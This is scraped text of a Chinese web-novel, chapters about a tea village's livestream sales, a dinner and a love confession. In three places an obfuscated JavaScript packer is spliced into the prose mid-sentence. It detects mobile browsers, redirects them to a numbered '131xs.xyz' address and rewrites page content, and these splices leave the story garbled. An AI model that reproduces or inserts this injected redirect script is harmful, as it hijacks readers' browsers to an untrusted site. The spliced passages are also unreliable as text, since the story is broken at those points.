不远处，陶浔蹲在地上和邱小麦玩草蚱蜢，眼睛总是会看向不远处的林愿。 少年正站在卡车边，单手插在裤袋里，另一只手拿着瓶水，仰头喝着，在阳光得照耀下，喉结滚动得样子格外清楚。 她赶紧低下头，脸红得不像样。 林愿喝完水，把瓶子扔进垃圾桶，目光不经意扫过蹲在地上的陶浔，转身继续干活。 * 傍晚，山头西边的霞光还没散尽，邱书记家的院子就热闹起来。 三张大圆桌沿着堂屋门摆开，竹编椅在地上摩擦出细碎的声响。大铁锅里炖着的土鸡咕嘟冒泡，那垂涎欲滴的香气顺着敞开的院门飘出老远。 夏绵刚走到门口，就被邱书记的媳妇拉着往主桌走：“可算来了，大家伙就等你们几个了！” 主桌的位置早就留好，夏绵被按在中间的位置，左边是陶风，右边是邱书记，对面坐着林望和林愿，陶浔挨着林愿坐下，手里还拿着一块没吃完的茶酥。 “绵丫头，快说说直播的事。”邱书记端着水壶，给每个人面前的杯子都倒满凉茶，“前天我去镇上开会，外村代表们都夸你的共享茶园做得好。” 夏绵拿起筷子，饿得她忍不住夹了块脂渣放进嘴里，脆香的味道瞬间在舌尖散开：“直播间热度挺稳的，每天新增的粉丝量都差不多。照这样下去，等秋茶下来，共享茶园的收入肯定高不少。”她顿了顿，往陶风那边偏了偏头，“现在最要紧的是防治病虫害。” “这事我已经跟农科院那边沟通过了。”陶风的声音适时响起，“药明天一早就到，那些配方都是我针对咱们茶园常见的几种虫害调配的，效果应该不错。明天我带着茶农们分片喷洒，你正好开直播，让粉丝们看看咱们是怎么科学管理茶园的。” “这个主意好！”邱书记拍着大腿笑起来，“让他们都知道，咱东岚村的茶，可不是随便长出来的！” 几人围着桌子讨论起来，从认养茶树说到顾客喜好，又从直播角度聊到如何突出茶园生态优势，夏绵听得认真，时不时点头附和，偶尔抬眼看向陶风，此时的他正拿着根筷子在桌面上比划，跟邱书记解释不同区域的虫害特点，他的侧脸在灯笼的光晕里显得格外清晰，连说话时微微动的睫毛都看得分明。 林望坐在对面，手里的茶杯被他转来转去，他听着那些陌生的术语，看着夏绵和陶风自然又熟络的互动，心里非常不舒服。 从前，他是夏绵唯一要好的异性朋友，可现在，这个位置换了人，陶风和夏绵聊的话题他插不上嘴，只能干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084737|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴巴地听着，像个看热闹的外人。 旁边的林愿始终没怎么说话，一直安静地吃饭。 跟着哥哥来东岚村做志愿者之前，他特意把头发修剪得干净利落，额前的碎发刚及眉骨。他的眼型偏长，眼尾微微上挑，不笑的时候带着点天然的疏离感，皮肤是冷调的白，在灯笼光下透着点清透的质感，整个人坐着不动的时候，像幅线条简洁的素描画，他脸上没什么表情，却自带着一种“生人勿近、冻伤自负”的气场。 陶浔偷偷观察着他，手里的筷子在碗里不停地戳着米饭，半天没进嘴。 她特意换了条浅粉色的裙子来吃饭，吃饭时也放慢了速度，连咀嚼都比平时轻了些，生怕发出太大的响声让某人误会了自己是没什么形象的女同学。 宴席过半，端上来的热菜渐渐少了，最后上的是一笼海鲜饺子，海鲜口味的饺子算是屿城的特色美食。 雪白的饺子在竹笼里码得整整齐齐，面皮透着淡淡的粉色，能隐约看见里面的鱼肉和韭菜。 邱书记把竹笼放在旋转圆桌上，轻轻转了半圈，笑着说道：“大家尝尝饺子好不好吃，我媳妇刚从镇上的酒楼订的。” 陶浔的目光一下子被吸引过去。 她最爱吃这种海鲜馅的饺子，来东岚村这些天，夏绵和她的姥姥喂了她不少好吃的东西，她清楚自己来东岚村的任务是获得未来嫂嫂的芳心而不是来当客人吃饭的，所以不敢提自己除了爱吃鸡以外最爱吃的就是海鲜饺子。 她盯着最顶上那只鼓囊囊的饺子，看着它随着圆桌慢慢转动，心里默默数着时间，握着筷子的手在桌布下蠢蠢欲动。 饺子转了半圈，终于到了她面前。 陶浔赶紧拿起筷子，瞄准那只饺子夹过去。 就在她的筷子快要碰到面皮时，另一双筷子也从旁边伸过来，轻轻落在了同一个位置。 陶浔的筷子一下子顿住。 她没抬头，视线却顺着筷子慢慢往上移动，最终定格在林愿握着筷子的手上。这双手骨节分明，白皙干净。她心里不禁感叹着这样的一双手不知道会被多少手控给盯上。 两人的筷子在饺子上方停了两秒，谁都没动。 “小愿。”林望的声音从对面传来，“绅士一点，女士优先。” 林愿敛下眼帘，手里的的筷子落下去，手腕一转，夹着那只饺子往陶浔碗里送，筷尖碰到碗沿发出一声清脆的轻响，他松开筷子，看着饺子稳稳落在她的碗中，才在竹笼里夹了另一只稳稳放进自己碗里。 陶浔一个哆嗦，然后浑身僵硬地看着碗里那只圆鼓鼓的饺子，热气氤氲上来，模糊了她的视线。 她能感觉到周围的目光似乎都落在自己身上，握着筷子的手微微发颤，好半天才敢抬眼。她用筷子轻轻戳了戳饺子皮，鲜美的汤汁顺着小口渗出来，她却没敢立刻吃，只是小口抿着杯里的凉茶。 坐在旁边的陶风把这一幕看在眼里，他没说话，也端起了茶杯抿了口凉茶，泛着寒光的眼睛在林愿身上淡淡扫过。 林愿像是感觉到什么，后背莫名有点发凉。 15. 第十五章 第十五章 月亮升到头顶，桌上的菜肴已空。 夏绵打了个哈欠：“我带小浔先回去了，明天还得早起准备直播。” “我送你们。”陶风和林望几乎同时站起身。 “不用不用，村里的路我闭着眼睛都能走。”夏绵摆摆手，牵着陶浔的手往门外走。 “夜里风大，我还是送送你们吧。”林望已经拿起了搭在椅背上的外套，语气里带着不容拒绝的坚持，“正好我吃饱了也想出去走走路消消食。” 陶风没说话，只是很自然地跟在夏绵身后，林愿见状，也默默跟了上来。 青石板路被月亮照得闪着稀碎的光，路边的野草挂着露水，吃饱喝足的五个人漫步在乡间小路上，一路上有说有笑。 “明天直播，我打算多给你一点镜头。”夏绵转头对陶风说，“你的粉丝战斗力太强，视频评论区都快刷爆了。” 陶风点了点头，“都听你的。”又说：“明天忙完活我去你家做饭，想吃什么？” “你做什么我就吃什么。”夏绵笑起来，露出两颗小小的虎牙，“有肉最好，我最近天天跑前跑后，总觉得累得慌，想给自己补补。” “我哥做饭可好吃了。”陶浔赶紧插话，想给哥哥加点分，“在家的时候，他经常给我妈妈做糖醋排骨和松鼠鳜鱼，他还会调海鲜饺子的馅儿，比今天这个还好吃呢。” “你还会包饺子？”夏绵惊讶地睁大眼睛，深感佩服。 “我最拿手的就是煮速冻饺子，包的话能把馅全漏出来。” “以前我妈工作忙，妹妹又爱吃，慢慢就学会了。”陶风的声音很温和，“等忙完这阵，我也给你包海鲜饺子吃。” “好啊好啊！”夏绵立刻点头，眼睛亮晶晶的。 三人你一言我一语地往前走着，气氛愉快又温馨。 跟在后面的林望插不上话，他看着夏绵和陶风并肩走在一起的背影，突然觉得他们之间的距离很近，近得容不下第三个人。 到了夏绵家院门口，陶浔拉着夏绵的胳膊，小声说：“夏绵姐姐，我今晚能跟你睡吗？我想跟你聊聊我在学校的事。” “当然可以啦。”夏绵笑着揉了揉她的头发，“我去给你找套干净的睡衣，咱们今晚挤一张床。” 看着两人走进院门，陶风转身往回走。 林望跟了上来，两人并肩走在空荡的巷子里，谁都没说话，只有脚步声在夜里回荡。 “陶风。”快到邱书记家的时候，林望突然开口，“你不该来东岚村。” 陶风侧目看他，路灯的光在他脸上投下明明暗暗的光影：“为什么？” “夏绵想要的生活，不是你能给的。” 林望停下脚步，双手插在裤袋里，一副不可一世的样子，“我们从小一起长大，她喜欢吃什么喝什么玩什么，我比谁都清楚。夏绵她不是那种追求新鲜刺激的女孩，安稳踏实才是她所追求的。” “安稳踏实，未必只有你能给。”陶风的语气很平静，却带着不容置疑的笃定，“而且，适不适合，并不能靠时间长短来判断。” 陶风这句话成功噎得林望说不出话来。 林望狠狠地瞪着他，眼里闪过一丝复杂的情绪，有不甘，有愤怒，还有点说不清道不明的无力。 “那我们就等着瞧。” 陶风站在原地，看着他的背影消失在邱书记家里的二楼拐角，才慢慢转身往回走。 他还以为林望那家伙会气急败坏得抄家伙打自己…… 明天要做的事还有很多，带着茶农们喷药、配合夏绵直播、晚上去她家做饭。 陶风低头笑了笑，笑林望压根就不了解他的倔脾气。 他陶风既然认定了夏绵，就坚决不放手。 * 次日一早，夏绵踩着露水往山上走，肩上还扛着直播支架。 陶风已经带着十几个茶农在入口处集合，每个人的脚边都放着灌满药液的喷雾器。 “人齐了就开始吧。”陶风的声音传来，有些低哑的声音在清晨的雾气里有了几分清冷的质感。 夏绵赶紧支起架子，放上手机后十分认真地整理了一下自己的仪容仪表，然后点开直播按钮，等观看人数上升到四位数的时候，像往常一样对着镜头挥挥手： “家人们早上好！我是“茶门信徒”的主播小夏！以往我都是带大家欣赏村里的山川溪流和一些茶叶美食制作过程，今天我来带大家看一点硬核的东西！那就是，东岚村茶园灭虫现场！大家也可以听陶老师讲讲那些爱啃茶叶的小虫子都有什么来头。” 直播间涌进不少人，弹幕更是直接刷满了屏： 【前排蹲陶老师！】 【主播今天穿的工装裤真好看！能不能给个链接？】 【终于等到茶茶开直播了哇，本忠实粉丝昨天就备好零食等着看了！】 【求求主播多给我家陶老师一点镜头呗～】 【原来茶园也要灭虫，跟菜地没什么区别。】 【我要看陶老师我要看陶老师我要看陶老师！】 【小夏今天很漂亮喔～亲亲～】 “我昨天征得陶老师同意，今天可以多拍拍他！”说着，夏绵把镜头转向陶风。 陶风处理好喷雾器刚好站起身，目光扫过茶园：“东岚村这边的害虫主要是茶尺蠖和小绿叶蝉，前者吃叶片，后者吸汁液，如果不及时处理，秋茶可能就得减产。”他指了指路边新装的设备，“这些监测仪能实时传数据，杀虫灯也能提前诱杀成虫，效率能提高不少。” “专业啊！”夏绵对着镜头咋舌，“你们看，这就是科学种茶，那些小虫子逃不过陶老师的法眼！” 弹幕里一片赞叹： 【陶老师好厉害！果然是专门研究茶的博士！】 【这设备看着就很牛皮，比我家的灭蚊灯高级多了。】 【前面的提醒我了，这玩意儿岂不是比蚊香还管用？陶老师给杀虫灯上个链接！】 【已下三单认养999档茶树，支持科学种茶！】 【上个月寄来的茶叶好好喝啊！我爸妈每天都喝哈哈他俩爱上东岚春了。】 【没人夸夸后面干活的茶农吗？他们基本都是老年人，辛苦了一辈子啊！】 【东岚村是我们屿城唯一的的贫困村，村里的青壮年都在外地打工，只有过年的时候才会回来，村里基本都是老人和留守儿童。】 【眼睛要尿尿了，本大学生最看不得这些！已下单1999茶树！支持茶门信徒！】 【已下单699茶树，来自“高中牲”的支持！】 【已下单1999茶树！】 …… 陶风带着茶农们分片作业，夏绵举着手机跟在旁边，默默感叹陶风不愧是农科院的年轻骨干，哪怕是粗活也做得很优秀。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084738|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他手柄拿得很稳，转动手柄的力道更是精准，药液随着他的动作均匀地落在叶片背面，有个阿公没掌握窍门，拿着手柄一个劲儿地琢磨，他走过去接过喷雾器，指导了两遍，“您稍微侧点身，顺着茶垄走，这样省力还均匀。” 夏绵的镜头总忍不住往他身上飘，直播间的在线观看人数已经破了新高。 东边的太阳渐渐爬上山头，在大家的身上投下金黄色的光影。 陶风额角渗着汗，他却顾不上擦，偶尔抬手抹一把，袖口沾了泥也不在意，直播间的粉丝显然也被这幅画面吸引了： 【咱陶老师这个认真干活的样子也太帅了吧！】 【陶老师的侧颜简直绝了！】 【感觉他身上有种很踏实的气质，跟那些花架子不一样。】 夏绵笑着回应：“那是，陶老师可是实打实的茶学专家！” 一上午的活儿干得顺顺当当，有了精密仪器帮忙，虫子看得清，喷药也精准。 中午歇脚时，夏绵点开后台，在线观看人数早就破了五十万，认养茶树和买茶叶的订单堆成了小山，手机震得她手心直发麻。 “比我预想的顺利。”陶风递过来一瓶水，瓶盖已经被他拧开。 “全靠你带的工具。”夏绵接过来喝了一大口，脸上笑开了花，“不然我们还得“面朝绿土背朝天”地瞎忙活。” 陶风看着她晒得红扑扑的脸颊，从口袋里摸出包湿纸巾递过去：“擦擦汗。” 夏绵接过纸巾胡乱抹了两把，结果把脸颊蹭得一块白一块红，陶风看着她这天然呆萌的样子，忍不住弯了弯嘴角，伸手替她擦掉嘴角的纸巾屑，他手指的温度落下来，夏绵的脸瞬间又红了几分。 下午两点，直播结束。 夏绵刚关了镜头就瘫在地上，累得全身骨头都像散了架。 邱澜和林望举着计算器跑过来，“夏绵！陶老师！你们快看这个！” 几人围拢过来，邱澜指着计算器上的数字，激动得手都在发抖： “直播收入加上订单预付款，已经……已经十万多了！” “十万？！”夏绵噌地坐起来，眼睛瞪得溜圆。 “十万零五千两百九十六！”邱书记算出钱数，把笔一扔，高兴得手舞足蹈，“咱东岚村这下真要翻身了！” 村民们闻讯都围了过来，阿公阿婆们拉着夏绵和陶风的手不放，有的阿公眼框都红了：“你俩可是咱村的大恩人啊！” “您别这么说，这都是大家一起努力的成果。” “主要还是陶老师兢兢业业、任劳任怨。”夏绵站出来，声音洪亮，“大家该好好谢谢他才对！” 村民们纷纷鼓掌对着陶风就是一顿夸，邱澜趁机起哄：“陶老师粉丝这么多，不如跟夏绵搭伙直播呗？你俩一起直播，肯定能让咱村的茶叶卖遍全国！” 夏绵赶紧摆手，替陶风婉拒的话还没说出来，就听见旁边人应声：“好啊。” 他答应得干脆，丝毫没有一点社恐的样子。 夏绵惊讶地问：“你刚刚说什么？你答应和我一起直播了？” “你一个人太累。”陶风看着她，脸色认真，“我想帮你分担一些压力。” 夏绵心下一暖，刚想说点什么，就被村民们的欢呼声淹没了。 大家收拾好农具，簇拥着他俩往村委会大院走，一路上笑声不断，空气里都飘着幸福的味道。 16. 第十六章 第十六章 夏绵推开院门，兴高采烈地喊：“姥姥，我们回来啦！” 正在沏茶的邱云听见动静，缓缓起身，看见夏绵和其他几个年轻人，立马招手：“快进屋歇着，我去给你们倒点水喝。” “姥姥你不用忙活。”夏绵拉住老人，脸上带着抑制不住的兴奋，“跟你说个好事，今天我们直播的收益加上订单预付款，一共赚了十万多块钱！” “啥？你再说一遍？” “十万零五千两百九十六块。”夏绵重复了一遍，还把手机里的转账记录给老人看，“邱澜和书记刚算完的，现在钱已经到账一半了。” 姥姥盯着屏幕上的数字，惊得半天没说话。 去年夏绵从城里辞职回来，她嘴上不说，心里却总犯嘀咕。 好好的白领工作说辞就辞，回来守着这几亩茶园，能有啥出息？ 为此，她夜里常睡不着，觉得是自己这把老骨头拖累了孙女。可这会儿看着实打实的数字，眼泪一下涌上来，她抬手抹了把脸：“好，好，我的绵丫头真是好孩子。” “这还得多亏陶风。”夏绵看着陶风笑道：“是他带了仪器和药，还在直播间给观众讲解茶叶知识，因为他粉丝们才肯下单的。” “该好好谢谢陶老师。”邱云笑得眼角的皱纹都挤在一起，“中午就在家吃饭，我简单做了几个小菜，还做了绵绵打小就爱吃的小肉丸。” 一听有好吃的，陶浔立马开口：“辛苦姥姥！那我们就不客气啦！” 林望也赶紧接话：“姥姥做的小肉丸是全屿城最好吃的小肉丸！我小时候总来蹭饭，还跟夏绵抢着吃。” “就你小子嘴甜！”邱云笑着伸手拍了他一下，“我去厨房看看面好没好，你们进屋歇着。。” * 午休过后就到了傍晚，陶风独自拎着夏绵家盛菜用的竹篮往村口的菜市场走。 刚到街口，卖青菜的王阿婆就挥着手里的水瓢喊：“陶老师，来买菜啊？” “嗯，来买点青菜和肉。”陶风走到摊位前，刚要伸手挑菜，王阿婆就已经往他篮子里塞了两把油麦菜，还抓了几根黄瓜。 “自家种的菜，不值钱，你拿着吃去。” “不行，钱是一定得给的。” 王阿婆的手使劲挥，死活不肯收钱。 旁边卖猪肉的王阿婆的老伴也凑过来，一刀切下块五花肉往篮子里放：“我这头猪刚杀的，给你拿块带皮的，炖着香。” “这怎么行。”陶风掏出钱包，王阿婆却按住他的手：“你帮村里卖茶挣了大钱，我们给你这点菜算啥？你再给钱就是打我们这些老家伙的脸了。” 周围的摊贩也跟着起哄，这个往篮子里塞茄子，那个递过来几颗圆白菜，开小卖铺的王阿公直接拿来一条刚处理好的鲅鱼，转眼间，篮子就堆得满当当。 陶风实在过意不去，趁大家忙着推让，迅速从钱包里抽出把几张百元钞往王阿婆的菜摊上一放，拎起篮子就往村里跑。 “哎！你这孩子！”王阿婆捡起钱要追，奈何陶风已经跑出老远。 王阿婆只得摇头，把钱拿给老伴，撵他去镇上，“你把这钱换成海鲜给绵丫头送去，咱东岚村不能亏待了他们两个孩子。” 陶风拎着满满一篮菜跑回夏绵家，在院门口停下脚步，不仅菜市场的村民往他篮子里放菜，路上还有不少村民塞给他鸡蛋和大葱。 他弯腰撑着膝盖大口喘气，再抬头时，却被天边的晚霞绊住了目光。 夕阳正慢慢沉向西边的东岚山，天空被它染成一片温暖的橘红，大朵大朵的云浮在上面，随着晚风慢慢流动，形状变幻万千。 这么美的景象，常年扎在农科院实验室做研究的陶风已经很久没有看过了。 他坐在地上惬意地欣赏，片刻间，刚才急匆匆跑回来的燥热已经完全消了下去，他起身拍了拍身上的灰尘，提着菜篮走进院子，和邱云打过招呼后就往厨房走去。 陶风刚开始洗手做晚饭，林望就带着林愿出现在夏绵家的院子里，林愿手里还提着个大果篮。 “姥姥！”林望笑嘻嘻地往屋里钻：“我带我弟过来蹭饭啦！” “来得正好，刚出锅的茶酥。”邱云端着盘子从厨房出来，往兄弟俩嘴里都塞了个，“快尝尝，这是加了蜂蜜和红糖的。” 陶风正切着五花肉，听见林望的声音便探出头，邹着眉头问：“民宿又不用你动手装修，虫子也都杀完了，你怎么还不走？” “村里空气好，我想多待几天。”林望吃着茶酥往厨房走，路过陶风时，故意撞了一下他的肩膀，“再说了，姥姥留我吃晚饭，你管得着吗？” “你——”陶风刚要呛回去，夏绵在后面拿大葱戳了戳他：“你别跟他计较，小心手里的菜刀。” 因为林望的加入，厨房顿时热闹起来。 陶风掌勺，夏绵在旁边递调佐料，两人默契得像住一起很久了的朋友。 林望看不下去，开始各种挑刺。一会儿说陶风“你炒菜的力气真小”，一会儿对夏绵喊“火太大了”，完了，还要伸手抢锅铲，被陶风嫌弃地一手拍开。 “去去去，别给我添乱。” 陶风刚把一盘炒好的葱烧海参盛出来，夏绵赶紧接过去，两人相视一笑。 林望心里泛酸看不下去，伸手去拿旁边的黄瓜：“下一道菜是茄子吧？我来切！”结果刀没拿稳，差点切到手指，吓得夏绵一把夺过刀：“茄子不用刀切，可以用手撕开。” 陶风在旁边哼了一声：“逞能。” “要你管。”林望撇撇嘴，乖乖站在旁边看，偶尔帮着递个盘子，倒也没再捣乱。 堂屋里，陶浔和林愿面对面坐着，中间隔着张吃饭用的八仙桌，谁都没说话。 桌上的收音机正播放着邱云最爱听的黄梅戏，咿咿呀呀的唱腔在安谧的堂屋里更为热闹。 “那个……”陶浔清了清嗓子，想说点什么，林愿刚好抬头看过来，两人一刹那的对视，目光撞在一起。 陶浔又赶紧低下头，嘟囔着：“没什么。” 林愿“哦”了一声，继续低头看手机，手指在屏幕上毫无兴致地划过来划过去，他其实一个字也没看下去。 空气里飘着厨房传来的香气，还有陶浔身上淡淡的洗发水味，林愿觉得有点不自在，悄悄往旁边挪了挪椅子。 陶浔眼角的余光瞥见他的动作，嘴里香脆的茶酥忽然都失去了味道。 晚上八点，夏绵家正式开饭。 红烧五花肉油光锃亮、鱼香茄子色泽诱人、葱烧海参和香辣鲅鱼更是鲜嫩滑口，还有一盘清炒时蔬，绿油油的健康又好吃。 “陶老师的手艺也太好了吧！”夏绵又夹了块五花肉放进嘴里，眯着眼睛心满意足地点头，“比饭馆里的还好吃！” “味道也还算可以吧。”林望嘴里塞得满满的，眼睛却瞟着陶风，那眼神里带着点不服气的意思。 相比林望的敷衍评价，邱云简直要把陶风夸到天上去： “陶老师真是难得的好小伙，既懂得养茶，又懂得做饭，你这样的人才真不多见啦！” “您过奖了。”陶风的语气十分谦虚，却得意扬扬地瞥了眼林望，然后笑着往夏绵碗里夹了块鱼肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084739|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“多吃点，这几天你都累瘦了。” 夏绵刚要夹起那块肥美的鱼肉，紧接着，林望夹来一块海参迅速放进她碗里：“这个也好吃。” “好了好了你们别夹了，我自己会使筷子吃饭。”夏绵抱怨道。 一顿饭吃得热热闹闹，林望嘴上说着“一般般”，却吃了两碗米饭，还把鱼香茄子给一扫而光，最后摸着肚子靠在椅背上，直打饱嗝。 饭后，姥姥收拾碗筷，夏绵想去帮忙，却被推了出来：“你们年轻人玩去吧，我一个人收拾。” 几人搬着竹椅来到院子里，陶浔从冰箱里拿出袋雪糕，献宝似的给大家看：“今天村子里的超市进了这种大冒险雪糕，网上特别火。” “什么意思？”林愿接过一支青柠味的，撕开包装纸。 “真心话大冒险游戏。”夏绵解释道，“雪糕吃完之后，如果木签上有“问”字就能对木签上有“答”字的提出要求，一袋五支里面只有一个“问”和一个“答”，其他三个什么字都没有。” 几人坐在竹椅上，慢慢舔着雪糕。 月光洒在院子里，把他们五个人的影子拉得老长。 不远处传来阿公阿婆们的说笑声，晚风里飘着东岚村茶叶特有的兰花清香。 林望第一个吃完，抽出木签看了看，有些失望地说：“我没中。” 陶浔紧接着吃完，木签上干干净净什么字也没有。 夏绵第三个吃完，捏着木签转了转，突然眼前一亮：“我有！”凑近一看，兴奋地说：“是“问”！” 陶风和林愿还在慢慢吃。 林愿几口吞下最后一点，抽出木签看了看，然后扔进旁边的垃圾桶：“我没中。” 看来“答”在陶风手里。 所有人的目光都聚在他身上，连一直不爱说话的林愿都抬了眼看他。 陶风不急不慢地吃完最后一口，拿出纸巾擦了擦嘴，才把木签从雪糕棍里抽出来。 月光下，木签上的“答”字清清楚楚。 “是我哥！”陶浔高兴地拍手，“夏绵姐，你快提要求！” 夏绵的心跳突然开始加速，她看着陶风，他也正看着她，眼神温和。 周围静悄悄的，连风声都轻了许多。 “那……我问了。”夏绵深吸一口气，鼓足勇气问道，“陶老师，你选真心话还是大冒险？” “真心话。” 夏绵的心跳得更快了，她握紧手里的木签，小声问：“你……有没有喜欢的女孩？” 陶浔捂住嘴，眼睛瞪得圆圆的。 林望刚要喝水，听夏绵这么一问，杯口停在嘴边。 林愿也停下了捶腿的动作，无比紧张地看着陶风。 时间仿佛在这一刻冻结。 直到陶风说出那个字：“有。” 夏绵的呼吸顿了顿，心猛地一沉，手里的木签差点掉在地上。 刚才还雀跃的期待，被陶风这简单的一个“有”字，倏然撞击，慢慢沉了下去。 没等夏绵缓过神，陶风就往前倾了倾身，温暖的气息轻轻拂过她的耳畔： “那个人，是你。” 话音一落，整个世界都安静了。 林望看着他们，突然觉得有点刺眼，拿起脚下的空雪糕袋，揉成一团扔进垃圾桶：“我去看看要不要帮姥姥洗碗。” 林愿也站起身，对着陶浔含糊地说了句“我也去”。 陶浔也立马起身，满怀期望地看了一眼陶风和夏绵，偷偷对陶风做了一个加油的姿势，然后飞快地跑开。 院子里，只剩下“问”和“答”。 17. 第十七章 第十七章 夜里，慵懒的晚风带着凉意从窗缝里钻进来，卧室床头的丝帘随着风轻轻飘动。 夏绵睁着眼睛望着天花板，脑子里像放电影一样，一遍遍回放着陶风说的那句话。 “那个人，是你。” 陶风温柔得引人发醉的声音好像还在耳边。 夏绵抬手摸了摸自己的耳朵，似乎还能感觉到他说话时的气息。 怎么会呢？ 他是茶学专家，是农科院的人才，前途一片光明。 而她，不过是守着满村茶园的普通女孩。 他们就像两条平行线，要不是东岚村的茶园，大概这辈子都不会有交集。 可他偏偏说了喜欢。 夏绵心里却乱糟糟的，像被什么东西搅着，睡不着。 她拿起手机，屏幕亮起，时间显示深夜十一点。 微信里没有新消息，她点开和陶风的对话框，往上翻着聊天记录，大多是关于茶园和直播的事，偶尔有两句无关紧要的问候，却被她翻来覆去看了好几遍。 旅馆某个房间里，陶风坐在阳台的藤椅上，手里捏着个啤酒罐。 告白说出口的那一刻，他的心脏跳得像要炸开，直到现在，还有点发麻。 他拿起桌上的另一罐啤酒，拉开拉环，仰头灌了一大口。 冰凉的液体滑过喉咙抵达到胃里，这微苦的涩味，却让他混沌的脑子清醒了些。 喜欢夏绵，是从什么时候开始的呢？ 或许是第一次看她直播，她举着手机在茶园里跑，阳光洒在她发梢，她是如此的明媚耀眼。 他不是冲动的人，做任何事都习惯规划。 可喜欢上夏绵这件事，像茶园里突然冒出来的新芽，没等他反应过来，就已经长得郁郁葱葱。 * 林望坐在床上，呆呆地看着窗外的月亮。 手机屏幕还亮着，停留在和夏绵的聊天界面，最后一条消息是他下午发的“晚上去蹭饭”，她则回了个“欢迎”表情包。 他早就该知道的。 从夏绵看陶风的眼神，从她提起陶风时语气里的佩服，从她问出那句“你有没有喜欢的女孩”时，他听得出，她声音里满是藏不住的紧张。 他从小就认识夏绵，知道她紧张时爱咬嘴唇，知道她吃饺子不蘸醋只蘸辣椒油，知道她看似大大咧咧，其实心思细腻得很。 她要是对谁没意思，根本不会费心思去问那样的问题。 他拿起手机，点开相册，里面存着好多高中的照片。 有一张是运动会，夏绵穿着红色的运动服，手里拿着第一名的奖品，他站在旁边比了个耶，笑得比她还开心。 林望盯着照片看了很久，手指在屏幕上摩挲着，最后还是按下了锁屏键。 陶浔窝在房间的吊椅上，拿着手机跟妈妈视频。 “妈，你是没看见，我哥那个样子，紧张得手都在抖，结果说的话超man的！” 她手舞足蹈地比划着，把傍晚院子里的场景学了一遍，“夏绵姐当时就愣住了，张嘴不知道说什么，反应特别可爱！哎呀我哥这颗铁树终于在三十岁之前开花啦。” “我就说你哥跟夏绵这孩子有缘分！我明天得去商场逛逛，给夏绵挑点礼物寄过去，买点衣服和首饰什么的，女孩子应该都喜欢这些。” “妈你也太着急了吧，人家还没正式答应我哥呢。”陶浔笑道。 “这叫未雨绸缪。”李媛哼了一声，话锋一转，“对了，你最近怎么样？我看你哥发来的合照，那俩一高一矮的男孩是谁啊？你在东岚村吃得还习惯吗？山上的笋子用来炖鸡最香了，我看你小脸都圆了一圈。” “那俩是夏绵姐的朋友。”陶浔脸上的笑容淡了些，她想起下午在堂屋里，她和林愿对着坐了半天，也没找到话说。 她心里莫名的烦躁。 “今天帮着打包茶叶发快递，好累啊，我想睡觉了。” “那行，你早点休息。”李媛叮嘱道，“有什么事及时跟妈汇报！” 挂了电话，陶浔把手机扔在床上，自己抱着膝盖发呆。 邱书记家二楼东厢房里的灯还亮着。 林愿坐在写字台前，对着摊开的语文试卷发愁。 作文题目是《最难忘的一天》，他咬着笔杆想了半天，脑子里还是一片空白。 暑假作业就是这点不好，没人催着，总也写不下去。 他绞尽脑汁想了半天，拿起手机，点开企鹅号，在好友列表里找到那个名字为“桃之夭夭”的账号，发了条消息：“在吗？有事找你。” 对方很快回复：“什么事？” “语文卷子上的作文怎么写？”发完这句，林愿盯着屏幕，犹豫了一下，又补了句，“不想写得俗套，比如帮老奶奶过马路、雨天妈妈背着发烧的我去医院。” 过了几分钟，“桃之夭夭”回过来一大段： “你可以先引用名言名句引出作文主题，多用感官描写，不用写什么惊天动地的大事，哪怕是跟老奶奶一起坐了一下午等雨停，你和她没说几句话，也能写出东西来，记得多看老师发的《万能素材》。” 林愿放下手机，重新拿起笔。 他在草稿纸上写下“下午，阳光，苹果，洗发水味”几个关键词，突然觉得自己好像有点思路了。 * 第二天一早，夏绵提着保温桶站在旅馆门口，深吸了一口气。 她凌晨五点就起来了，给姥姥做好早饭，又特意多煮了几个茶叶蛋，熬了点小米粥，还炒了个清淡的奶油小白菜，装在保温桶里。 门很快开了，陶风站在门后，头发还湿漉漉的，发梢滴着水，他身上穿着件深色浴衣，领口敞开着，露出线条分明的锁骨。 他大概是刚晨跑回来洗了澡，身上还萦绕着水汽和淡淡的沐浴露香味。 夏绵的目光刚扫过去，就赶紧闭了眼，脸颊“腾”地一下热起来。 “早。”陶风的声音带着点刚睡醒的沙哑，听着格外迷人。 “早、早啊。” 夏绵睁开眼，飞快地把保温桶递过去，“我做了早饭，想和你一起吃，也不知道合不合你胃口。” 陶风接过保温桶，侧过身：“快进来坐，清晨的风凉。” 他的房间不大，却收拾得很整齐。 夏绵看见靠着阳台的书桌上放着台笔记本电脑，屏幕上还停留在茶园管理系统的界面，旁边散落着几张图纸，上面画着茶园的分布图。 